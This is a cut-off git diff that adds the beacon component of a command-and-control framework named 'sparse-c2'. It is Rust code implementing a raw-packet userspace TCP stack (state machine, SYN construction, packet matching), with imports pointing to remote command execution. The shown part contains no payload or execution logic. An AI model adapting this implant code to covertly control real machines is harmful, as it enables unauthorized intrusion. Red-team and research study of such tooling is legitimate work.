+#smoltcp = { version = "0.10", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation", "log", "verbose"] }
+libc = "0.2.148"
+log = { version = "0.4.20", features = [ "kv_unstable" ] }
+simple_logger = "4.2.0"
+ringbuf = "0.3.3"
+serde = { version = "1.0.193", features = ["derive"] }
+serde_json = "1.0.108"
+catconf = "0.1.2"
diff --git a/sparse-c2/sparse-c2-beacon/src/main.rs b/sparse-c2/sparse-c2-beacon/src/main.rs
new file mode 100644
index 0000000..c5af605
--- /dev/null
+++ b/sparse-c2/sparse-c2-beacon/src/main.rs
@@ -0,0 +1,570 @@
+use std::{
+ collections::VecDeque,
+ mem::MaybeUninit,
+ net::{Ipv4Addr, SocketAddr},
+ process::Stdio,
+ time::{Duration, Instant},
+};
+
+use anyhow::{anyhow, bail, Context};
+use ringbuf::LocalRb;
+use tokio::{
+ io::Stdout,
+ process::Command,
+ sync::mpsc,
+ task,
+ time::{sleep, sleep_until},
+};
+use tokio_stream::StreamExt;
+
+use nl_sys::{netlink, route};
+use packets::{
+ self, ARPMode, ARPPacket, ARPProto, EthernetPacket, IPv4Packet, IPv4Pkt, Layer3Packet,
+ Layer3Pkt, Layer4Packet, Layer4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt,
+};
+use pcap_sys;
+use sparse_c2_messages::{BeaconCommand, BeaconOptions};
+
+struct PeerInfo {
+ remote_addr: Ipv4Addr,
+ remote_port: u16,
+ local_addr: Ipv4Addr,
+ local_port: u16,
+}
+
+enum Timeout {
+ Idle { heartbeat: Option },
+ Retransmit {},
+}
+
+#[derive(Default)]
+struct TcpSocket {
+ tx_buffer: LocalRb; 65536]>,
+ rx_buffer: LocalRb; 65536]>,
+ first_ack: u32,
+ first_rack: u32,
+ local_seq_no: u32,
+ remote_seq_no: u32,
+ remote_last_ack: Option,
+ remote_last_win: u16,
+ local_rx_last_seq: Option,
+ local_rx_last_ack: Option,
+ state: TcpState,
+ peer_info: Option,
+ retransmit_timeout: Option,
+ last_packet_received: Option,
+}
+
+impl TcpSocket {}
+
+#[derive(Default, Debug, Clone, Copy)]
+enum TcpState {
+ Listen,
+ SynSent,
+ SynReceived,
+ Established,
+ FinWait1,
+ FinWait2,
+ CloseWait,
+ Closing,
+ LastAck,
+ TimeWait,
+ #[default]
+ Closed,
+}
+
+enum TcpOptions {
+ EndOfList,
+ NoOp,
+ MaxSegmentSize(u16),
+}
+
+impl TcpOptions {
+ fn get_bytes(&self) -> Vec {
+ match self {
+ Self::EndOfList => vec![0x00],
+ Self::NoOp => vec![0x01],
+ Self::MaxSegmentSize(size) => [&[0x02, 0x04][..], &size.to_be_bytes()].concat(),
+ }
+ }
+}
+
+fn socket_accepts_packet(socket: &TcpSocket, ip: &IPv4Pkt<'_>, tcp: &TCPPkt<'_>) -> bool {
+ if let Some(peer) = &socket.peer_info {
+ peer.local_addr == ip.dest_ip()
+ && peer.remote_addr == ip.source_ip()
+ && peer.local_port == tcp.dstport()
+ && peer.remote_port == tcp.srcport()
+ } else {
+ false
+ }
+}
+
+async fn connect(
+ socket: &mut TcpSocket,
+ remote_addr: Ipv4Addr,
+ remote_port: u16,
+ local_addr: Ipv4Addr,
+ send_state_changed: &mpsc::Sender,
+) -> (u16, TCPPacket) {
+ socket.state = TcpState::SynSent;
+ let local_port: u16 = loop {
+ let port = rand::random();
+ if port > 40000 {
+ break port;
+ }
+ };
+ let _ = send_state_changed.send(TcpState::SynSent).await;
+ socket.peer_info = Some(PeerInfo {
+ remote_addr,
+ remote_port,
+ local_addr,
+ local_port,
+ });
+
+ socket.local_seq_no = rand::random();
+ socket.first_ack = socket.local_seq_no;
+
+ let packet = TCPPacketBuilder::default()
+ .srcport(local_port)
+ .dstport(remote_port)
+ .syn(true)
+ .window(64240)
+ .seqnumber(socket.local_seq_no)
+ //.options([TcpOptions::MaxSegmentSize(64240).get_bytes()].concat())
+ .build(local_addr, remote_addr, vec![], None);
+
+ (local_port, packet)
+}
+
+fn process_timeout(socket: &mut TcpSocket) -> anyhow::Result